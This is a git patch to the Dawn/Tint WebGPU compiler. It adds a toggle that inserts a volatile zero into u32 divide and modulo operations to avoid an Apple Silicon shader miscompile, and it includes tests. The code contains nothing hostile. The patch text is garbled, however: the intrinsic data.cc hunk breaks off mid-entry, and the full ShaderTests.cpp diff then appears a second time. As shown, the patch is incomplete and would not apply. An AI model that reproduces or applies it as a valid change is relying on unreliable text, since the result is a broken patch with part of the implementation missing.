From a9a6ec351486b901f0d1f6e6c46f256248bc90c0 Mon Sep 17 00:00:00 2001
From: James Price <jrprice@google.com>
Date: Mon, 08 Jun 2026 10:06:58 -0700
Subject: [PATCH] [msl] Add workaround for u32 div/mod miscompile

Add a volatile zero to the LHS of all u32 divide and modulo
operations, which fixes a miscompile on Apple Silicon.

Bug: 517225032
Change-Id: I1e9e56a5109ada6a6d89760116d5a5f24f8bacc4
Reviewed-on: https://dawn-review.googlesource.com/c/dawn/+/312755
Reviewed-by: dan sinclair <dsinclair@chromium.org>
Commit-Queue: James Price <jrprice@google.com>
---

diff --git a/src/dawn/native/Toggles.cpp b/src/dawn/native/Toggles.cpp
index a18adb6..444f39d 100644
--- a/src/dawn/native/Toggles.cpp
+++ b/src/dawn/native/Toggles.cpp
@@ -792,6 +792,10 @@
     {Toggle::D3D12UseHLSL2021,
      {"d3d12_use_hlsl_2021", "Use HLSL 2021 when targeting DXC.", "https://crbug.com/508342536",
       ToggleStage::Device}},
+    {Toggle::MetalFixU32DivMod,
+     {"metal_fix_u32_div_mod",
+      "Workaround a driver bug on Apple Silicon with u32 div and mod operations.",
+      "https://crbug.com/517225032", ToggleStage::Device}},
     {Toggle::WaitIsThreadSafe,
      {"wait_is_thread_safe",
       "WaitFor* functions are thread-safe and can be called without the device-lock if implicit "
diff --git a/src/dawn/native/Toggles.h b/src/dawn/native/Toggles.h
index 02fde65..5434a62 100644
--- a/src/dawn/native/Toggles.h
+++ b/src/dawn/native/Toggles.h
@@ -189,6 +189,7 @@
     VulkanUseExtendedDynamicState,
     VulkanForceStaticSamplersForExternalTextures,
     D3D12UseHLSL2021,
+    MetalFixU32DivMod,
 
     // Once all backends have been updated to be thread safe for waiting, we can remove this toggle.
     WaitIsThreadSafe,
diff --git a/src/dawn/native/metal/PhysicalDeviceMTL.mm b/src/dawn/native/metal/PhysicalDeviceMTL.mm
index 0e06675..e4bde35 100644
--- a/src/dawn/native/metal/PhysicalDeviceMTL.mm
+++ b/src/dawn/native/metal/PhysicalDeviceMTL.mm
@@ -552,6 +552,9 @@
         if ([*mDevice supportsFamily:static_cast<::MTLGPUFamily>(1008)]) {
             deviceToggles->Default(Toggle::MetalSerializeTimestampGenerationAndResolution, true);
         }
+
+        // TODO(517225032): Gate on macOS version when a fix is released.
+        deviceToggles->Default(Toggle::MetalFixU32DivMod, true);
     }
 
     // Local testing shows the workaround is needed on AMD Radeon HD 8870M (gcn-1) MacOS 12.1;
diff --git a/src/dawn/native/metal/ShaderModuleMTL.mm b/src/dawn/native/metal/ShaderModuleMTL.mm
index 183f3d1..605a3fc 100644
--- a/src/dawn/native/metal/ShaderModuleMTL.mm
+++ b/src/dawn/native/metal/ShaderModuleMTL.mm
@@ -362,6 +362,8 @@
         device->IsToggleEnabled(Toggle::MetalReplaceWorkgroupBoolWithU32);
     req.tintOptions.workarounds.collapse_subgroup_min_max =
         device->IsToggleEnabled(Toggle::CollapseSubgroupMinMax);
+    req.tintOptions.workarounds.fix_u32_div_mod =
+        device->IsToggleEnabled(Toggle::MetalFixU32DivMod);
 
     req.tintOptions.extensions.disable_demote_to_helper =
         device->IsToggleEnabled(Toggle::DisableDemoteToHelper);
diff --git a/src/dawn/tests/end2end/ShaderTests.cpp b/src/dawn/tests/end2end/ShaderTests.cpp
index 948f9d4..32b0643 100644
--- a/src/dawn/tests/end2end/ShaderTests.cpp
+++ b/src/dawn/tests/end2end/ShaderTests.cpp
@@ -1227,6 +1227,52 @@
     EXPECT_BUFFER_U32_EQ(2, buf, 0);
 }
 
+// Test for an MSL miscompile that produces incorrect results for a certain pattern of unsigned
+// integer arithmetic instructions whose intermediate results overflow.
+// See https://crbug.com/517225032
+TEST_P(ShaderTests, MetalMulShiftModOverflowBug) {
+    wgpu::ComputePipelineDescriptor cDesc;
+    cDesc.compute.module = utils::CreateShaderModule(device, R"(
+        @group(0) @binding(0)
+        var<storage, read_write> value: u32;
+
+        @compute @workgroup_size(1u)
+        fn main() {
+            let input = value;
+            value = ((input * input) >> 16u) % 3u;
+        }
+    )");
+    wgpu::ComputePipeline pipeline = device.CreateComputePipeline(&cDesc);
+
+    wgpu::BufferDescriptor bufDesc;
+    bufDesc.size = 4;
+    bufDesc.usage =
+        wgpu::BufferUsage::Storage | wgpu::BufferUsage::CopySrc | wgpu::BufferUsage::CopyDst;
+    wgpu::Buffer buf = device.CreateBuffer(&bufDesc);
+
+    // Write 0x10004 to the buffer.
+    uint32_t inputVal = 0x10004;
+    queue.WriteBuffer(buf, 0, &inputVal, sizeof(inputVal));
+
+    wgpu::BindGroup bg = utils::MakeBindGroup(device, pipeline.GetBindGroupLayout(0), {{0, buf}});
+
+    wgpu::CommandEncoder encoder = device.CreateCommandEncoder();
+    wgpu::ComputePassEncoder pass = encoder.BeginComputePass();
+    pass.SetPipeline(pipeline);
+    pass.SetBindGroup(0, bg);
+    pass.DispatchWorkgroups(1);
+    pass.End();
+
+    wgpu::CommandBuffer commands = encoder.Finish();
+    queue.Submit(1, &commands);
+
+    // We expect output to be 2:
+    //   0x10004 * 0x10004 = 0x100080010 = 0x80010 (mod 2^32)
+    //   0x80010 >> 16 = 0x8
+    //   0x8 % 3 = 2
+    EXPECT_BUFFER_U32_EQ(2, buf, 0);
+}
+
 // Test that when fragment input is a subset of the vertex output, the render pipeline should be
 // valid.
 TEST_P(ShaderTests, FragmentInputIsSubsetOfVertexOutput) {
diff --git a/src/tint/lang/msl/builtin_fn.cc b/src/tint/lang/msl/builtin_fn.cc
index 6b575f9..38b86ce 100644
--- a/src/tint/lang/msl/builtin_fn.cc
+++ b/src/tint/lang/msl/builtin_fn.cc
@@ -134,6 +134,8 @@
             return "os_log";
         case BuiltinFn::kPointerOffset:
             return "pointer_offset";
+        case BuiltinFn::kVolatileZero:
+            return "volatile_zero";
     }
     return "<unknown>";
 }
@@ -192,6 +194,7 @@
         case BuiltinFn::kMakeFilledSimdgroupMatrix:
         case BuiltinFn::kOsLog:
         case BuiltinFn::kPointerOffset:
+        case BuiltinFn::kVolatileZero:
             break;
     }
     return core::ir::Instruction::Accesses{};
diff --git a/src/tint/lang/msl/builtin_fn.cc.tmpl b/src/tint/lang/msl/builtin_fn.cc.tmpl
index 22f1547..9ab527c 100644
--- a/src/tint/lang/msl/builtin_fn.cc.tmpl
+++ b/src/tint/lang/msl/builtin_fn.cc.tmpl
@@ -85,6 +85,7 @@
         case BuiltinFn::kMakeFilledSimdgroupMatrix:
         case BuiltinFn::kOsLog:
         case BuiltinFn::kPointerOffset:
+        case BuiltinFn::kVolatileZero:
             break;
     }
     return core::ir::Instruction::Accesses{};
diff --git a/src/tint/lang/msl/builtin_fn.h b/src/tint/lang/msl/builtin_fn.h
index 881fb02..9ec7a90 100644
--- a/src/tint/lang/msl/builtin_fn.h
+++ b/src/tint/lang/msl/builtin_fn.h
@@ -95,6 +95,7 @@
     kSimdgroupMultiplyAccumulate,
     kOsLog,
     kPointerOffset,
+    kVolatileZero,
     kNone,
 };
 
diff --git a/src/tint/lang/msl/intrinsic/data.cc b/src/tint/lang/msl/intrinsic/data.cc
index b96105f..4dc5d38 100644
--- a/src/tint/lang/msl/intrinsic/data.cc
+++ b/src/tint/lang/msl/intrinsic/data.cc
@@ -6221,6 +6221,17 @@
     /* return_matcher_indices */ MatcherIndicesIndex(/* invalid */),
     /* const_eval_fn */ ConstEvalFunctionIndex(/* invalid */),
   },
+  {
+    /* [203] */
+    /* flags */ OverloadFlags(OverloadFlag::kIsBuiltin, OverloadFlag::kSupportsVertexPipeline, OverloadFlag::kSupportsFragmentPipeline, OverloadFlag::kSupportsComputePipeline),
+    /* num_parameters */ 0,
+    /* num_explicit_templates */ 0,
+    /* num_templates   */ 0,
+    /* templates */ TemplateIndex(/* invalid */),
+    /* parameters */ ParameterIndex(/* invalid */),
+    /* return_matcher_indices */ MatcherIndicesIndex(62),
+    /* const_eval_fn */ ConstEvalFunctionIndex(/* invalid */),
+  },
 };
 
 static_assert(OverloadIndex::CanIndex(kOverloads),
@@ -6667,6 +6678,12 @@
     /* num overloads */ 3,
     /* overloads */ OverloadIndex(176),
   },
+  {
+    /* [45] */
+    /* fn volatile_zero() -> u32 */

diff --git a/src/dawn/tests/end2end/ShaderTests.cpp b/src/dawn/tests/end2end/ShaderTests.cpp
index 948f9d4..32b0643 100644
--- a/src/dawn/tests/end2end/ShaderTests.cpp
+++ b/src/dawn/tests/end2end/ShaderTests.cpp
@@ -1227,6 +1227,52 @@
     EXPECT_BUFFER_U32_EQ(2, buf, 0);
 }
 
+// Test for an MSL miscompile that produces incorrect results for a certain pattern of unsigned
+// integer arithmetic instructions whose intermediate results overflow.
+// See https://crbug.com/517225032
+TEST_P(ShaderTests, MetalMulShiftModOverflowBug) {
+    wgpu::ComputePipelineDescriptor cDesc;
+    cDesc.compute.module = utils::CreateShaderModule(device, R"(
+        @group(0) @binding(0)
+        var<storage, read_write> value: u32;
+
+        @compute @workgroup_size(1u)
+        fn main() {
+            let input = value;
+            value = ((input * input) >> 16u) % 3u;
+        }
+    )");
+    wgpu::ComputePipeline pipeline = device.CreateComputePipeline(&cDesc);
+
+    wgpu::BufferDescriptor bufDesc;
+    bufDesc.size = 4;
+    bufDesc.usage =
+        wgpu::BufferUsage::Storage | wgpu::BufferUsage::CopySrc | wgpu::BufferUsage::CopyDst;
+    wgpu::Buffer buf = device.CreateBuffer(&bufDesc);
+
+    // Write 0x10004 to the buffer.
+    uint32_t inputVal = 0x10004;
+    queue.WriteBuffer(buf, 0, &inputVal, sizeof(inputVal));
+
+    wgpu::BindGroup bg = utils::MakeBindGroup(device, pipeline.GetBindGroupLayout(0), {{0, buf}});
+
+    wgpu::CommandEncoder encoder = device.CreateCommandEncoder();
+    wgpu::ComputePassEncoder pass = encoder.BeginComputePass();
+    pass.SetPipeline(pipeline);
+    pass.SetBindGroup(0, bg);
+    pass.DispatchWorkgroups(1);
+    pass.End();
+
+    wgpu::CommandBuffer commands = encoder.Finish();
+    queue.Submit(1, &commands);
+
+    // We expect output to be 2:
+    //   0x10004 * 0x10004 = 0x100080010 = 0x80010 (mod 2^32)
+    //   0x80010 >> 16 = 0x8
+    //   0x8 % 3 = 2
+    EXPECT_BUFFER_U32_EQ(2, buf, 0);
+}
+
 // Test that when fragment input is a subset of the vertex output, the render pipeline should be
 // valid.
 TEST_P(ShaderTests, FragmentInputIsSubsetOfVertexOutput) {
diff --git a/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc b/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
index 93c71a8..ead1565 100644
--- a/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
+++ b/src/tint/lang/msl/writer/raise/binary_polyfill_test.cc
@@ -71,7 +71,8 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -105,7 +106,8 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -132,7 +134,8 @@
 
     auto* expect = src;
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -169,7 +172,8 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -206,7 +210,8 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -243,7 +248,8 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
@@ -280,7 +286,114 @@
 }
 )";
 
-    Run(BinaryPolyfill);
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
+
+    EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UMod_WithoutPolyfill) {
+    auto* lhs = b.FunctionParam<u32>("lhs");
+    auto* rhs = b.FunctionParam<u32>("rhs");
+    auto* func = b.Function("foo", ty.u32());
+    func->SetParams({lhs, rhs});
+    b.Append(func->Block(), [&] {
+        auto* result = b.Modulo(lhs, rhs);
+        b.Return(func, result);
+    });
+
+    auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+  $B1: {
+    %4:u32 = mod %lhs, %rhs
+    ret %4
+  }
+}
+)";
+    EXPECT_EQ(src, str());
+
+    auto* expect = src;
+
+    BinaryPolyfillConfig config{};
+    Run(BinaryPolyfill, config);
+
+    EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UMod_WithPolyfill) {
+    auto* lhs = b.FunctionParam<u32>("lhs");
+    auto* rhs = b.FunctionParam<u32>("rhs");
+    auto* func = b.Function("foo", ty.u32());
+    func->SetParams({lhs, rhs});
+    b.Append(func->Block(), [&] {
+        auto* result = b.Modulo(lhs, rhs);
+        b.Return(func, result);
+    });
+
+    auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+  $B1: {
+    %4:u32 = mod %lhs, %rhs
+    ret %4
+  }
+}
+)";
+    EXPECT_EQ(src, str());
+
+    auto* expect = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+  $B1: {
+    %4:u32 = msl.volatile_zero
+    %5:u32 = add %lhs, %4
+    %6:u32 = mod %5, %rhs
+    ret %6
+  }
+}
+)";
+
+    BinaryPolyfillConfig config{
+        .fix_u32_div_mod = true,
+    };
+    Run(BinaryPolyfill, config);
+
+    EXPECT_EQ(expect, str());
+}
+
+TEST_F(MslWriter_BinaryPolyfillTest, UDiv_WithPolyfill) {
+    auto* lhs = b.FunctionParam<u32>("lhs");
+    auto* rhs = b.FunctionParam<u32>("rhs");
+    auto* func = b.Function("foo", ty.u32());
+    func->SetParams({lhs, rhs});
+    b.Append(func->Block(), [&] {
+        auto* result = b.Divide(lhs, rhs);
+        b.Return(func, result);
+    });
+
+    auto* src = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+  $B1: {
+    %4:u32 = div %lhs, %rhs
+    ret %4
+  }
+}
+)";
+    EXPECT_EQ(src, str());
+
+    auto* expect = R"(
+%foo = func(%lhs:u32, %rhs:u32):u32 {
+  $B1: {
+    %4:u32 = msl.volatile_zero
+    %5:u32 = add %lhs, %4
+    %6:u32 = div %5, %rhs
+    ret %6
+  }
+}
+)";
+
+    BinaryPolyfillConfig config{
+        .fix_u32_div_mod = true,
+    };
+    Run(BinaryPolyfill, config);
 
     EXPECT_EQ(expect, str());
 }
diff --git a/src/tint/lang/msl/writer/writer_test.cc b/src/tint/lang/msl/writer/writer_test.cc
index c38fada..d3c3831 100644
--- a/src/tint/lang/msl/writer/writer_test.cc
+++ b/src/tint/lang/msl/writer/writer_test.cc
@@ -726,5 +726,32 @@
 )");
 }
 
+TEST_F(MslWriterTest, FixU32DivMod) {
+    auto* func = b.ComputeFunction("main");
+    b.Append(func->Block(), [&] {
+        auto* lhs = b.Let("lhs", 0x10004_u);
+        b.Let("result", b.Modulo(lhs, 3_u));
+        b.Return(func);
+    });
+
+    Options options;
+    options.entry_point_name = "main";
+    options.workarounds.fix_u32_div_mod = true;
+    options.disable_polyfill_integer_div_mod = true;
+    auto result = Generate(options);
+    ASSERT_EQ(result, Success) << result.Failure();
+    EXPECT_EQ(output_.msl, R"(#include <metal_stdlib>
+using namespace metal;
+
+volatile constexpr constant uint tint_volatile_zero = 0u;
+
+[[max_total_threads_per_threadgroup(1)]]
+kernel void v() {
+  uint const lhs = 65540u;
+  uint const result = ((lhs +  tint_volatile_zero) % 3u);
+}
+)");
+}
+
 }  // namespace
 }  // namespace tint::msl::writer